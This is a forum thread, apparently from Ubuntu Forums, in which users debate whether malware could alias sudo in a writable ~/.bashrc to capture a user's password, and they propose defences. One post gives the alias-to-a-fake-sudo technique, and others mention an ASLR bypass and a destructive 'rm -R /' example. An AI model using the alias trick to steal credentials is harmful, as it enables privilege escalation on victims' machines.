I think users should be able to run programs as root or other users on any given account so I'm not really in favour of option 1 (having to switch users every time that you want to use root when there are methods around this seems counterproductive). The problem with option 2 is that if a program performs many tasks that require root access then it shouldn't be asking for a password repeatedly. Option 3 seems like the best option. The only problem with option 3 is that allowing a program to have root access for as long as it runs can be perceived as being dangerous by many people. However, you could always do what you need to do and then close the program or if you leave the computer then lock the system.

EDIT: For option 3 it could also be the case that the program only has so much time to use its root privileges before the password needs to be reentered.

If anyone knows of any additional solutions, has feedback on one of my suggestions, or knows how to implement the last 2 suggestions, please make a post.

[nutz]

Just to clarify again.

Another vulnerability with other software on the machine that is severe enough to allow remote code execution needs to be present on the system.

If that happens there are lots of things a scumbag could do, with chmodding the .bashrc to get the user password being low on their list of priorities.

But assuming they did upload some code and manage to make it executable which then edited the .bashrc to alias sudo to some code that captured the user password then the remote attacker only has the user password. Essentially useless unless SSH is running on the machine or the attacker knows extra information about the user and the password is the same one used for online banking/ebay etc.

The theory here is that a virus could use this to elevate itself to full root. I don't think it would be very useful as just a login even if SSH is active on the box because things like that get noticed. But malware once haveing elevated itself with this process to full root would be far more damaging...

But once again this is just theory and it depends on many other variables before it really becomes an issue. Low risk but it looks possible...

[bigboy_pdb]

It seems to me that most people feel too secure with the idea that Linux programs are safe since they install a number of programs from software repositories that they believe are safe. The problem (that this thread was about) occurs when people either compile from source themselves or when people run programs that aren't known to be safe. It was also mentioned that buffer overflow attacks could do this as well (although I don't have enough knowledge about this). Anyone who compiles and runs code from source is not going to read the source code and attempt to understand it (because you might as well write it yourself since you'll understand it better). I should reiterate for new readers that it is being assumed that the code is compiled and run as a non-root user.

It seems as though many people think this is a perfect storm, to use a bad analogy because weather doesn't have intentions or habits (and people do). This problem would become more of an issue as more non-security computer geeks use Ubuntu. Some people have stated things along the lines of "people should setup a second account where sudo is disabled." I find responses like these funny. Why should you assume to people should know how to do this? It's more obvious that people shouldn't use a root/administrator account and people still do this. A number of you bash Windows for having such an obvious security flaw but remain intent on defending a Linux system that also has a security issue simply because "people should know better". It's more likely that the average user will realize that they should create a limited user account in Windows XP than create a non-sudo account in Linux because they're more likely to get hurt by or become aware of the first case.

At this point I'm sure a number of you want to respond that Linux people know better and I'm sure in that a far greater percentage of them do know better. However, it doesn't seem to me that Ubuntu is aimed primarily at the Linux geek. Otherwise, why would they have removed the root account in the first place and introduced less common methods of using sudo and gksudo? I'm aware that "security" would be the answer but a security conscious person should know to change the root password frequently. Clearly this change was aimed at regular users.

Thus, I think that this issue should be taken a little more seriously because as Ubuntu becomes more popular people with less than honest intentions could take advantage of such a problem and this would definitely make more people who are trying to become better with a computer and who are unsure of Linux decide that Linux isn't as safe as everyone said it would be (and perhaps it's not worth using).

[darkog]

A very far fetched and wild idea right off the top of my head, if you are that worried about this potential attack vector and as a possible solution to this, could you not implement SELinux or AppArmor to better tighten down that .bashrc file?

[vexorian]

You don't seem to understand me so I want to make it more clear: this can be used to escalate priviledges

It can't? The users that are able to use sudo are already super users in many ways... Just don't give users sudo if they don't need it.

[hggdh]

@Adnarim:

There is an important difference here: the Installer log issue was writing a clear-text password in the logs. Even though the logs were owned byt root, and readable only by root, this breaks a basic security principle: *no* passwords should be stored in the system without being {encrypted | hashed}. Ever.

If an end-user does so, then it is the end-user responsibility & (perhaps implicitly) accepted risk. The system, or a provided programme, should never do that.

On the case being discussed on this thread, no clear-text passwords are written (except, of course, by having a trojan deployed).

Also, on this thread, there are many other possible -- and simpler -- options of attack. Notice that *all* options of attack depend on having a specially-crafted piece of code being installed, or securing access to a logged-in user account .

Frankly, I consider changing the ~/.bashrc (or the system-wide default) as a rather minor issue: if I acquired access to an user account, there are many other options of attack. I do not need a quite involved and convoluted one -- I already *secured* access to the user account, after all.

With all the dangers of doing so, please consider this simple analogy:

-- There is a risk of fire & explosion if we light a match at an open petrol car tank. This is, without any doubt, a *major* risk of fire & explosion.

--> So the solution is to prohibit putting petrol in car tanks.

Now, compare to your scenario:

-- there is a risk of changing an user ~/.bashrc and adding redirections there. This is, without doubt, a risk.

--> So the solution is to make such a file unwriteable by the user.

Er, what?



Now let's expand the risk: it does not apply only to ~/.bashrc -- but to **all** user files! I guess the solution would be, then, to make *all* user files unwriteable by the user?

Finally. Things like that have been discussed before. Search bugtraq, the bash mailing archives, and other.

[Incie83]

Thanks for opening this thread, Adnarim. Thanks for your replies (regardless of your opinion on the matter), everyone else. I think it's important that some of you 31337 h4ck0rz share your knowledge with less experienced people, like me.

I do agree with bigboy_pdb's comment above. I have used Ubuntu for over a year now and even though I have grown more cautious with regards to non-repository packages (mainly due to the great software available in the Feisty repos), I occasionally compile a package or run a script to add some functionality to my system. While I would never consider running some random script with sudo privileges or enter my password, I do not check every single line of code in a script. This would leave me, and many other Ubuntu users, vulnerable to the above-mentioned attack.

Bottom line: most recent Ubuntu/Linux converts come from the world of MS Windows, and concepts like 'user groups', 'sudo' and 'permissions' make for a rather steep learning curve. Then, when you think you know all the rules to run a well-protected system, it turns out that simply running a script as an admin-user can lead to your system being hacked. I think this needs to be taken seriously if Ubuntu is supposed to be a safe operating system for the masses. Not everybody is (or has the time to become) a security expert.

Now if you'll excuse me, I'm off creating a non-admin user account. ;)

[jdong]

Look, if there were an easily exploitable attack vector that allowed arbitrary access to the user's home directory, writing to bashrc is the LAST thing you'd do.... A well-educated *nix hacker can go from user shell to root shell in a few minutes at most.

[bigboy_pdb]

I should first of all mention that I made an edit to my first post. Do not use tty1 through tty6 as a method to protect you from someone editing your .bashrc file because it doesn't make a difference. There is a method where you can use them, but you should read the rest of the post first.

The aforementioned problems could be corrected at a system level by doing a few things (and if anyone knows how something similar is currently possible, please post a response to indicate what to do).

I should also state a few other things beforehand. There are different computer environments. There are server, home, and business environments, as well as, other computing environments. Ubuntu seems to have itself aimed at different user environments, but I want to emphasize at this point that one of them is the home environment. Also, there's a difference between a workaround and a solution. Creating accounts or modifying owners and privileges is a workaround if a problem has a wide enough scope, and I'd say the problem that certain files that the owner wants to access but doesn't want other people accessing and the problem that sudo commands cannot protect against certain attacks has a wide enough scope.

There seems to be a strong separation between root and other users. root performs a number of tasks that other people shouldn't do, but it wouldn't hurt to add another security layer. Users could have user classes and files and executables can belong to these classes and they can be password protected. For example, the .bashrc and .bash_profile could belong to a "super" class. If the account is compromised the intruder cannot damage everything in the account. All of this saves the root user the trouble of fixing problems. It also allows people to be able to feel more secure when they aren't root. For example, on a University computer that is running a Linux OS you can protect your own files.

As I said before, gksudo doesn't allow other programs to grab screen shots, mouse clicks, and keystrokes. However, gksudo allows programs to be run with root permissions for a certain amount of time which can be more harmful. sudo, on the other hand, restricts itself to the terminal window that it was executed in. However, it doesn't grab screen shots, mouse clicks, and keystrokes and is susceptible to being read by keyloggers. I think that we can see that this is a lose lose situation when it comes to running sudo utilities. To fix this in tty7 gksudo should only allow the application that ran it to have root access and users should be restricted from using sudo in tty7. It should be clear though that doing this does not prevent someone from hijacking gksudo in the same way that they could hijack sudo. Thus, it would still be a good idea to use the user class system that I mentioned before.

The workarounds if you're worried about these problems are as follows.

1) Don't allow regular users to use root commands as root (and have one account where this can be done from).
You can do this by creating a new account that doesn't have the ability to run sudo or gksudo.

2) You can still use root that are restricted to a command line environment but you'll need to be more cautious and make the following changes to your system and how you use it.
Stop using gksudo and sudo in tty7. Change the ownership of files such as .bashrc and .bash_profile so that they are owned by a user other than yourself (such as root) and do not use commands such as su in tty7 to change to that user. When you want to run something using root or you want to do something as the user who now owns the files such as .bashrc and .bash_profile (such as edit .bashrc or .bash_profile), change to one of the terminals tty1 through tty6 and execute the commands using sudo or su. If there is such a thing as a keylogger for terminal sessions, it would need to be in .bash_profile in order to start up when you log into that terminal.

[DoktorSeven]

Again, if you have a privilege escalation on your machine from some malfunctioning app, this non-issue is the least of your worries. Lots worse can be done with a security issue in a malfunctioning app, including direct root access without any mumbo-jumbo.

[DoktorSeven]

but allow me one last question: why has this been fixed: http://ubuntuforums.org/showthread.php?t=143334 ?

Doesn't this threat need the same things like mine here to get abused? Physical or remote access through userlvl app-exploitation?

Because that issue did not require any user intervention to get a password, and storing ANY password as cleartext, ANYWHERE, is a clear security issue.

Compare that with the issue at discussion here, where there has to be clear user action taken (execution of a malicious executable) to cause a problem. Once you go around executing strange executables, all bets are off. Reading a password in cleartext requires no effort.

I understand your concern; security is very important to me as well. It actually makes me happy to see people mindful of such things in Ubuntu compared to the "what the hell, let's open this random file from my email, what harm could it do" attitude from some Windows users. But unlike Windows, where such a file can actually cause damage directly since there is no concept of an executable flags -- the only condition required to run a program is that it have the proper file extension, which is horribly, terribly bad and is a REAL security problem that Microsoft has not ever fixed, and likely will not -- Linux will (SHOULD) refuse to open the program as an executable. Granted, one COULD conceivably run a bash/python/perl script by saying "open with" and going to the interpreter, but this should never be the default, and I would think any program that allows opening of scripts this way should be flagged as a bug/security hole.

Sure, not everyone is going to be as mindful of these things, but as I have stated before, user education is the key. Not all will want to learn, but I think part of going into a world where the system tries to protect the user from himself as best it can (instead of a system where it tells the user, "go nuts!") is learning responsibility.

As I also stated, a simple fix would be not allowing alias to alias anything that would do privilege escalation. Whip up a script for alias, disallow su/sudo/gksudo/etc as the command being aliased, and make it the script called when alias is used, making it call the real alias (or change the actual alias code).

[darrenm]

With all the dangers of doing so, please consider this simple analogy:

-- There is a risk of fire & explosion if we light a match at an open petrol car tank. This is, without any doubt, a *major* risk of fire & explosion.

--> So the solution is to prohibit putting petrol in car tanks.

Now, compare to your scenario:

-- there is a risk of changing an user ~/.bashrc and adding redirections there. This is, without doubt, a risk.

--> So the solution is to make such a file unwriteable by the user.

]

Thanks. This was better than all the analogies I could think of. My best was:

Take your windscreen wipers off your car so that if someone steals it they can't steal your wipers too.
or
Always leave your car window closed so if you're in a crash and stuck inside, if it rains you wont get wet.

[phrostbyte]

echo "unalias sudo" >> /etc/bashrc
echo "unalias gksudo" >> /etc/bashrc
echo "unalias kdesu" >> /etc/bashrc

[jdong]

echo "unalias sudo" >> /etc/bashrc
echo "unalias gksudo" >> /etc/bashrc
echo "unalias kdesu" >> /etc/bashrc

Won't do a thing... user's bashrc is sourced last.

[nutz]

So is this matter done now or what? I think we have pretty much determined that while this could be a vulnerability the chances of it being exploited are low. Let's not beat this dead horse any longer...

[jdong]

So is this matter done now or what? I think we have pretty much determined that while this could be a vulnerability the chances of it being exploited are low. Let's not beat this dead horse any longer...

I hope it's done, and served as an eye-opener / educational experience in computer security to many. Maybe this will also inspire one of us to come up with a more robust general solution to this kind of issue, or to give more thought to running scripts or code by untrusted user.

It might also convince people to run things they are unsure about under a user separate of their primary account, or perform more regular audits on their system for unknown modifications :)

[nutz]

I hope it's done, and served as an eye-opener / educational experience in computer security to many. Maybe this will also inspire one of us to come up with a more robust general solution to this kind of issue, or to give more thought to running scripts or code by untrusted user.

It might also convince people to run things they are unsure about under a user separate of their primary account, or perform more regular audits on their system for unknown modifications :)


I agree with that 100%; people really need to take a closer look at the stuff they run and install and get in the habit of verifying its source before they run it. If people do that then the overall level of their system security instantly improves!

[codmate]

I hope it's done, and served as an eye-opener / educational experience in computer security to many. Maybe this will also inspire one of us to come up with a more robust general solution to this kind of issue, or to give more thought to running scripts or code by untrusted user.

It might also convince people to run things they are unsure about under a user separate of their primary account, or perform more regular audits on their system for unknown modifications :)

Maybe it would be a good idea for the Ubuntu server install to offer to set up a 'normal' user without access to sudo?

Some other distros offer you the opportunity to do this on set-up. I know it's just a case of doing a useradd once you're in, and that 'normal' user accounts are undesirable in certain scenarios, but it may be wise to have the option, and encourage newbies to find out why having restricted users is often a good thing!

[bigboy_pdb]

Incie83, I don't think that anyone in this thread is an elite hacker. Most people who responded (myself included) don't seem to have a strong background in system security or hacking (I'm basing this on reading people's posts in this thread and by looking at their profiles, threads started, and other posts). I think that people would have made posts that were more informative otherwise.

Most of this thread was the opinions of people. People made assumptions about:
* The conditions of the system (ie. a firewall or some other security software is or should be present even though Ubuntu doesn't have a default firewall).
* The code that people have to run (ie. it must be open source and from a trustworthy source).
* The intentions of all hackers (ie. they're out to completely destroy your operating system).
* What Ubuntu is supposed to be about (ie. assuming that the user should have to fix every security problem that arises in Ubuntu that is built into the Ubuntu design model).
* What an Ubuntu user is supposed to be (ie. well informed about security practices).
* Hidden concepts (that were never stated) regarding how a hacker will intrude your system and gain root privileges.

This thread produced very little security insight. The only thing most people would have learned is how to avoid some problems involving sudo calls and that it would currently be best to create an account that does not have the ability to use sudo. I'm sure that could have been obtained elsewhere with far less reading.

I agree that some people should not have sudo and that the security paranoid are better off using an account where it is disabled. However, you can have some accounts (that should only be used by people who are aware of proper security precautions) where sudo is present and the account is still secure. For example, to avoid dictionary attacks from someone there can be delays in the amount of time permitted between sudo calls and there could be a system daemon or background process (which only root can kill) that posts a message when someone has made a certain number of calls to sudo utilities/applications.

It might have been nice if someone with significant knowledge would have posted something useful, if it had become an honest discussion about the state of Ubuntu security (which might be useful to people who design and program Linux software [and myself since I intend on doing this in the future]), or if this thread hadn't become so many pages of opinions. That's too bad.

[scxtt]

incie83 --
Bottom line: most recent Ubuntu/Linux converts come from the world of MS Windows, and concepts like 'user groups', 'sudo' and 'permissions' make for a rather steep learning curve. Then, when you think you know all the rules to run a well-protected system, it turns out that simply running a script as an admin-user can lead to your system being hacked. I think this needs to be taken seriously if Ubuntu is supposed to be a safe operating system for the masses. Not everybody is (or has the time to become) a security expert.the main flaw w/ your argument is the simple assumption that it's ok to (blindly) run "a script" ... it is not the job of any linux distribution to protect you from yourself in that regard ... when Ubuntu is installed, it is IMPOSSIBLE for anyone (w/o physical access) to get on the box - after user interaction (especially if they run "a script") the "blame" is on the user - it is no longer a linux distribution problem ... if anyone runs "a script" w/o knowing what it does, it is their fault - there's no other logical way to look at it ...

and personally, i don't want sudo or ~/.bashrc to be "crippled" (in any way) to cover for people who are unable to realize this ... i'd also much rather have the 1st account created (automatically) have sudo access than to have a root account, by default ...

[stokedfish]

ridiculous beyond belief.

please close this thread and put an end to it.

[bcat]

ridiculous beyond belief.

please close this thread and put an end to it.

Amen! The solution is really quite simple. If you can't trust someone to avoid running untrusted scripts and to lock their session when they aren't using it, they shouldn't be a sudoer.

[jdong]

Maybe it would be a good idea for the Ubuntu server install to offer to set up a 'normal' user without access to sudo?

Some other distros offer you the opportunity to do this on set-up. I know it's just a case of doing a useradd once you're in, and that 'normal' user accounts are undesirable in certain scenarios, but it may be wise to have the option, and encourage newbies to find out why having restricted users is often a good thing!

I would hope anyone setting up a server knows not to use their sudo account for day-to-day work, or be running 3rd party scripts on their server under a sudo-capable account :)

[nutz]

the main flaw w/ your argument is the simple assumption that it's ok to (blindly) run "a script" ... it is not the job of any linux distribution to protect you from yourself in that regard ... when Ubuntu is installed, it is IMPOSSIBLE for anyone (w/o physical access) to get on the box - after user interaction (especially if they run "a script") the "blame" is on the user - it is no longer a linux distribution problem ... if anyone runs "a script" w/o knowing what it does, it is their fault - there's no other logical way to look at it ...

and personally, i don't want sudo or ~/.bashrc to be "crippled" (in any way) to cover for people who are unable to realize this ... i'd also much rather have the 1st account created (automatically) have sudo access than to have a root account, by default ...

+1

[4tro]

This post is purely informational in nature.
to elaborate on the means of intruding another computer remotely:
1. there should be a program which doesn't check input and goes into a buffer overflow.
2. either the hacker just has to guess if his buffer overflow will work because of the stack randomizer being used in the newer kernels or the user must run a very old kernel which doesn't have this fix yet.

both are quite easy to fix and are fixed already.
1. security updates to programs fix these buffer overflows
2. the kernel has a randomizer, although this can be disabled, the root or sudo password is needed for this.

another means is bad policy over any remote shell (which is the responsibility of the admin of the computer)

[Adnarim]

2. the kernel has a randomizer, although this can be disabled, the root or sudo password is needed for this.

lol even I can defeat the randomizer on edgy with jumping back to linux-gate.so.1 and I'm no professional shellcoder.. also if I have to confess from feisty to edgy there have been some respectable improvments but nevertheless you shouldn't rely on them and better use pax! Which doesn't mean pax can't be beaten but it is a more complex system. Of course all of these randomisation patterns stop working if the bug, like formatstring mostly does, reveals memory information.. next to the bruteforcing methods agains them..

but this is way heavier to fix instead of simply preventing ppl from rooting your system so easily like it does here..

[jdong]

lol even I can defeat the randomizer on edgy with jumping back to linux-gate.so.1 and I'm no professional shellcoder.. also if I have to confess from feisty to edgy there have been some respectable improvments but nevertheless you shouldn't rely on them and better use pax! Which doesn't mean pax can't be beaten but it is a more complex system. Of course all of these randomisation patterns stop working if the bug, like formatstring mostly does, reveals memory information.. next to the bruteforcing methods agains them..

but this is way heavier to fix instead of simply preventing ppl from rooting your system so easily like it does here..

No, the GCC stack protector included starting from Edgy is not the world's greatest security solution.... I still think server admins should load on grsec/pax if they really care about security.

I'd also like to point out, buffer overflow is not the only vector of attack here, outside of installing untrusted stuff.


There could also be application-level exploits that are not buffer overflows, such as escalating the Java or Flash sandbox and gaining the user's read/write access.

[Foxmike]

I have often seen in previous posts to create a separate "Admin" acount that can use Sudo and another "User" acount that cannot. Wasn't the actual purpose of Sudo to log into your account and be able to do "Admin" work without logging in the acutal real system's admin account which is Root??? I think things are ok as tey are and as stated by jdong, I think that a real *nix hacker has other things to do in a system than modifying the .bashrc or any other configuration file.

Actually, if flaw there is, it is not on .bashrc or even sudo. It is in the fact that some user, sometimes, has to do admin work on the system. And to make that possible, that user has to have an access to those admin tools. This will still be true in any situation regarding computers. And it is not even a flaw.

[jdong]

I have often seen in previous posts to create a separate "Admin" acount that can use Sudo and another "User" acount that cannot. Wasn't the actual purpose of Sudo to log into your account and be able to do "Admin" work without logging in the acutal real system's admin account which is Root??? .


Yeah, amongst other things. For the most part, using sudo has advantages over a separate root login. However, this is a case where using sudo could open up phishing grounds (ok, I'll stop with the fish puns)... Not using sudo, users are still vulnerable to various phishing attacks if an attacker can gain shell access under the user's name (i.e. fake Firefox dialogs, fake change password dialogs, present erroneous password dialogs that users may fall for, and so on)

[tuxcantfly]

Apparently the subject of whether this is a security problem or not is debatable, but as a good security precaution, I think this configuration for adding users (including the initial default account) would eliminate any possibilities of bashrc exploits, while still not putting burdens on the user:

If the user is not a sudoer, then they can't be affected by this anyhow, so the current behavior of having .bashrc owned by the user and set at 755 permissions can be kept.

If the user is a sudoer, make the .bashrc file owned by root, and at 755 permissions, so that a simple chmod can't undo the change, and if the .bashrc file needs editing, it can be edited with "sudo nano" or "gksudo gedit". This won't be an inconvenience to the user anyhow, short of having to type in an additional "sudo" when, if ever, they edit the bashrc file, since, if they are the legitimate owners of that user account, they would know their own password, and if the person logged into the account doesn't know the password needed for running "sudo", we can presume that they have gained unauthorized access, and shouldn't be poking around the .bashrc file anyhow, so that way, only the true owners of the account can edit their own .bashrc file.

[jdong]

I disagree with this approach. This doesn't really solve any problem, because there are still so many more .rc files -- at least 3 or 4 per shell -- that can reside in the user directory and be sourced.

In addition, an application can screw around with the environment settings or add bogus menuitems or otherwise phish the user's passwords in basically the same way using similar techniques.

[enigma_0Z]

Well while reading the sticky above I was wondering if you are aware that it's pretty simple to raise from user to root lvl, if you have once access to a system? There's no need for a local root exploit because of the .bashrc file in the homedir. The file is writeble from the useraccount, so you need just to append alias sudo=pwdstealingfakesudo to it and the next time the user will use sudo he's dead.
One could also simple social engenier a new ubuntu- or linux-user (maybe also an ignorant older one..) this remotly by telling one to execute a "harmless" tool/script (and also if not tested I'm pretty sure this can also be triggered by userlevel applications which support plugins!) and telling him he hasn't to be afraid because he just should execute it with user priviledges and not root and he's dead too.

I'm asking myself why this file is by default writeable by the user on Ubuntu Feisty Fawn Desktop-System, if you take in mind how often a normal user needs this file and how dangerous this is as I explained above. This could also be a nice way for very very dangerous virii for ubuntu!

Workaround: A simple prevention for this would be chmod u=r .bashrc

The same affects of course also the alias command per se also if it is a bit more harder (you need luck) to exploit... because user needs to use sudo in the same session and console ...

greets

pardon me for digging up an old thread and/or jumping into the middle of the conversation but...

this whole thing seems to be completely pointless.

First of all, this is only going to happen if you have some kind of shell or disk access to a machine under a used account (local or otherwise).
Second of all, this is possible on any and all linux distributions running bash--not just Ubuntu Feisty Fawn
Third of all, chmod u=r .bashrc wouldn't work because if the attacking program has disk access, it has access to the permissions on the file, and therefore can change the writable bit just as easily as the owner of the file can, espeically if the program is being run on the owner's home directory (owner meaning the account running the script).
Fourth of all, this whole thing can be avoided by simply using the command "\sudo" (note the backslash) as this bypasses aliases, as well as not having write access to any PATH directories.

No, I'm sorry, but this is not a bug, this is letting yourself get caught with your pants down.

[jdong]

Another option is to explicitly call the sudo binary like /usr/bin/sudo, which cannot be overridden unless you have a seriously tainted shell binary.

[mindwarp]

This is a bit silly and not a distribution problem. This is just a variation of fishing really.

[DanielSwe]

Apparently the subject of whether this is a security problem or not is debatable, but as a good security precaution, I think this configuration for adding users (including the initial default account) would eliminate any possibilities of bashrc exploits, while still not putting burdens on the user:

If the user is not a sudoer, then they can't be affected by this anyhow, so the current behavior of having .bashrc owned by the user and set at 755 permissions can be kept.

If the user is a sudoer, make the .bashrc file owned by root, and at 755 permissions, so that a simple chmod can't undo the change, and if the .bashrc file needs editing, it can be edited with "sudo nano" or "gksudo gedit". This won't be an inconvenience to the user anyhow, short of having to type in an additional "sudo" when, if ever, they edit the bashrc file, since, if they are the legitimate owners of that user account, they would know their own password, and if the person logged into the account doesn't know the password needed for running "sudo", we can presume that they have gained unauthorized access, and shouldn't be poking around the .bashrc file anyhow, so that way, only the true owners of the account can edit their own .bashrc file.

+1

I don't see any really GOOD reasons not to...And for the record I found this thread to be full of misinformation (which RoyalShrubber & Adnarim took care of explaining in their posts already).

It seems very, very easy to fix.

[weth]

...And for the record I found this thread to be full of misinformation.




Well, would you please point out these misinformation pieces so that we could be aware of them in the future...

thx!

[sheck]

It doesn't have to be aysiu's scenario 2 or getting a malicious code from the internet.
And locking the screen doesn't help. Consider this:

If, per say, a company has Ubuntu on all workstations and user A trusts user B. User B has malicious intent and sends a script to user A, saying that this script will fix an email problem user A have been having recently. User A runs the script, because has no reason to suspect anything. And *BOOM*, user B has SUDO password for user A comp, which is the same password to log into comp, and unlock the screen. So user A is pooped no matter what.

Unfortunately, there aren't many people that have good computer practices, be that Windows or Linux or any OS. Many people in my company are happy if they get email without any errors.

It might be easy to fix, if you know about it. I use Ubuntu for 1 year now and just found out about it. Now I have to go and change permission on 40+ workstations. This should be fixed by default.

[hggdh]

Sigh.

OK. I give up. You all are right, and poor us that actually do security are all wrong. This is a MAJOR security whatever. So now, please also consider the OTHER rc files. Evolution has one. KMail has one. Gnome has legion -- and some of them DO define what is going to be executed. AND ALL OF THEM ARE ACCESSIBLE BY THE USER!

Well, to be fair, the user also OWNS them, since they set things that are USER related. But, who cares?

Also, what about ksh -- yes, there ARE other shells in UNIX/LINUX -- ? what about ALL other shells? Did you all not quite remember about them? Think .profile, .csh, etc.

Lets make ALL rc files owned by root. Lets make, finally, a complete mess of this.

The way is already paved. Just go and walk it.

[jdong]

This is not a "major" security concern by any means.... to successfully execute this attack, you must have secured shell or file creation access to the user's computer by some means.... at which point, you should really use an escape-to-libc or suid-root binary to further carry out your attacks, not these silly little tactics of faking sudo commands.

Bottom line, if an attack has the level of access to your system that permits this attack, YOU ARE TOTALLY SCREWED. Period. The key point is to prevent someone from gaining these privileges.

[aysiu]

If, per say, a company has Ubuntu on all workstations and user A trusts user B. User B has malicious intent and sends a script to user A, saying that this script will fix an email problem user A have been having recently. User A runs the script, because has no reason to suspect anything. And *BOOM*, user B has SUDO password for user A comp, which is the same password to log into comp, and unlock the screen. So user A is pooped no matter what. Then user A knows nothing about security and shouldn't have been given sudo access in the first place. If user A runs any script without knowing what it does, the .bashrc thing is a non-issue. That script could do anything.

What you're talking about is social engineering, which is a security flaw called "ignorant user." It has nothing to do with ~/.bashrc

[jdong]

Yeah the fundamental issue here is that user A grants full trust to user B, which should not be the case. Also, unless user A can verify what user B's code does, either via reading the source code to a script or reviewing and compiling sources to a binary himself, he should not be running random code on his computer.

Playing with permissions won't do a thing to secure your system -- there are an infinite number of ways a user can attempt to sabotage you when he can run ANY CODE UNDER YOUR NAME. From keyloggers to compiling buffer overflow attacks, to presenting entirely fake terminals and falsely responding to button clicks, etc.... the possibilities are infinite....

I really do not want people going away thinking that their users can be safe from social engineering by chmodding a bashrc file.

[Amaranth]

Yeah the fundamental issue here is that user A grants full trust to user B, which should not be the case. Also, unless user A can verify what user B's code does, either via reading the source code to a script or reviewing and compiling sources to a binary himself, he should not be running random code on his computer.

Playing with permissions won't do a thing to secure your system -- there are an infinite number of ways a user can attempt to sabotage you when he can run ANY CODE UNDER YOUR NAME. From keyloggers to compiling buffer overflow attacks, to presenting entirely fake terminals and falsely responding to button clicks, etc.... the possibilities are infinite....

I really do not want people going away thinking that their users can be safe from social engineering by chmodding a bashrc file.
+1

Constant vigilance.

[Toxicity999]

Alright, seriously, enough of this crap. It's total FUD. The only way you would not need the password to get the password is if the user were to leave a computer on and you were a trained ninja and gained access to his physical unit and then proceeded to edit their aliases. Well duuuuur, if you're so stupid to just leave it on with people like that around, unlocked, and free, then I'm sure you have worse security concerns.

The best firewalls and hacktraps don't prevent against stupid.

Enough Crap.

[irish_flu]

If the "attacker" already has such access to the system as to be able to "exploit" this, there are far better (and more destructive) things to do than mess with a user's SUDO ability.

Why would anybody bother to exploit this? By the time you're there, you already own the system.

[aysiu]

I would like to propose either that the subject heading of this thread be changed to more accurately reflect the problem... or that the thread be closed. Which would people prefer? I'm thinking something along the lines of One way to steal a sudoer's password if you've already managed to compromise the account or A good reason to avoid being the victim of social engineering.

The current title ( How to easily steal the root pwd on Ubuntu Feisty Fawn) is extremely misleading.

[jdong]

I would like to propose either that the subject heading of this thread be changed to more accurately reflect the problem... or that the thread be closed. Which would people prefer? I'm thinking something along the lines of One way to steal a sudoer's password if you've already managed to compromise the account or A good reason to avoid being the victim of social engineering.

The current title ( How to easily steal the root pwd on Ubuntu Feisty Fawn) is extremely misleading.

I agree -- the title grossly exaggerates the scope of this attack. A more accurate name would be "Proof-of-concept sudo exploitation via social engineering" or "Tainting shell environment via rc files for fun and profit" :)

[dcstar]

wow....

just read all of this... and have a few questions.

What would making the .bashrc file read-only affect?

I have just (tried to) read all of this as well, and it is a good question.

It may not matter if the whoever that perpetrates this threat simply installs another sudo spoof remotely (through link-clicking or whatever), then when the user accesses the sudo command the password may get stolen anyway.

The bottom-line seems to be that unless you can lock down anything and everything that may be able to get access to a password that gives Super User privileges, then you are vulnerable.

The only solution I can see to the sudo impersonation scenario is some sort of integrity check run by the kernel whenever the sudo command is run to ensure that it is actually the sudo binary and not some imposter being run.

[aysiu]

I agree -- the title grossly exaggerates the scope of this attack. A more accurate name would be "Proof-of-concept sudo exploitation via social engineering" or "Tainting shell environment via rc files for fun and profit" :)
Since you're one of our resident security experts, I'm going to go with your first suggestion. I've retitled the thread appropriately.

[jdong]

The only solution I can see to the sudo impersonation scenario is some sort of integrity check run by the kernel whenever the sudo command is run to ensure that it is actually the sudo binary and not some imposter being run.


No, the only solution I can see is educating users to only deal with trusted code, or to run untrusted things in a separate user account away from their important things. And the kernel can't see any of this going on -- the kernel has no clue that a trojan is accepting input -- it is far too low level.

[codmate]

It doesn't have to be aysiu's scenario 2 or getting a malicious code from the internet.
And locking the screen doesn't help. Consider this:

If, per say, a company has Ubuntu on all workstations and user A trusts user B. User B has malicious intent and sends a script to user A, saying that this script will fix an email problem user A have been having recently. User A runs the script, because has no reason to suspect anything. And *BOOM*, user B has SUDO password for user A comp, which is the same password to log into comp, and unlock the screen. So user A is pooped no matter what.

Unfortunately, there aren't many people that have good computer practices, be that Windows or Linux or any OS. Many people in my company are happy if they get email without any errors.

It might be easy to fix, if you know about it. I use Ubuntu for 1 year now and just found out about it. Now I have to go and change permission on 40+ workstations. This should be fixed by default.

That scenario falls under 'running maclicious code'.

It's not the system's fault that User A trusted user B.
If user A is so clueless as to run a script without looking at it first, why do they have an account on the machine at all, let alone sudo?!

That 'malicious code' could just be rm -R /.
If run as root, that would be pretty nasty too - so sudo really isn't the issue here!

[hggdh]

[jdong]
This is not a "major" security concern by any means

Yes, I know. I tried to tell the reporter here and at the LP bug. He/she could/would not understand.

On the other hand... the failure in having this simple concept understood actually brings up here the experience that almost anyone that has worked security has seen: security is not absolute, but a trade-off.

For all: there are good sources available everywhere. I strongly recommend Bruce Schneier's books as a general reading (specially Beyond Fear (http://www.schneier.com/book-beyondfear.html), directly applicable to this thread).

Another source of history -- i.e., things that happened -- in regard to security is the CACM Inside Risks (http://www.csl.sri.com/users/neumann/insiderisks.html) (you have to be a member of the ACM to access it thru the digital library (http://portal.acm.org/dl.cfm?CFID=57749841&CFTOKEN=70685446), but P. Neumann (http://www.csl.sri.com/users/neumann/) has it free).

Then there are the security related mailing lists, bugtrack (http://www.securityfocus.com/archive/1), full-disclosure (http://lists.grok.org.uk/full-disclosure-charter.html), and many others.

Perhaps this should be a project for Ubuntu... educating/providing pointers to computer security.

[enigma_0Z]

Perhaps this should be a project for Ubuntu... educating/providing pointers to computer security.

... Educating? No, IMO this is too much work for a party that is only partially involved in the scope of this "issue" (and I use that term lightly). A better option would be books, such as the ones you pointed out.

I guess the moral of this story is:

1. (for the user) Verify all executables before running them
2. (for the admin) Only give sudo access to trusted and educated users...
3. (for everyone) Never give someone absolute trust with regards to computers--unless it's your local sysadmin (sarcasm)

I mean seriously, this is all common sense, I mean as far as #3, I wouldn't even trust me fully...

Anyhoo, thanks for changing the topic title and officially letting this thing die.

[Adnarim]

